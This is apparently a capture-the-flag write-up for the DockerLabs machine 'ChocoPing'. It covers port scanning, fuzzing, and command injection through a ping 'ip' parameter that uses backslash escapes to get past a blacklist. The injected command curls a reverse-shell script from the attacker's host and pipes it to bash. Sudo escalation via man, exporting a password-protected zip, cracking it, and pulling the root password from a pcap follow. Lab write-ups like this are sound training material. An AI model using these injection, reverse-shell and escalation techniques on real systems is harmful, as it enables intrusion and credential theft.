> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/medium/chocoping.md).
# ChocoPing
## 1 - Reconnaissance
We begin with a fast Nmap scan to identify open ports:
`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`
**Result: port 80 is open.**
## 2 - Enumeration
Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:
`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`
We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:
```
ffuf-dir () {
ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```
we ran `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:
## 3 - Exploitation
We discovered that the website was running a ping on the background, and therefore it must be getting an IP via any parameter, so we decided to fuzz to know which exact parameter was it using:
After finding it was ?ip, we tried to perform command injection, but many commands and operators were blacklisted. After trying different ones, we found that backslash wasn't blacklisted, neither `;` so we abused it:
After that, we decided to create a `revshell.sh` and upload it to the target machine. We use this method instead of spawning it directly via command because some operators needed for that reverse shell are blacklisted.
After serving it via `python -m http.server 80` and downloading and executing it via
`c\u\r\l -\s h\t\t\p://\1\7\2.\1\7.\0.\1/\r\e\v\s\h\e\l\l\.\s\h | b\a\s\h` we got our reverse shell, catched by `penelope` :
## 4 - Privilege Escalation
After running `sudo -l` we found that user `www-data` has sudo permissions as `balutin` on `/usr/bin/man`. We used a GTFOBins exploit to get a `balutin` shell:
`sudo -u balutin /usr/bin/man man`
After that, we found a file on `/home/balutin`, but it was protected with a password, so we exported it to our attacker host to decrypt it:
After running `zip2john` and `johntheripper` we cracked the password, and got `traffic.pcap`. We tried to open it with Wireshark but it gave an error, so we ran `strings` on it, getting `root` password:
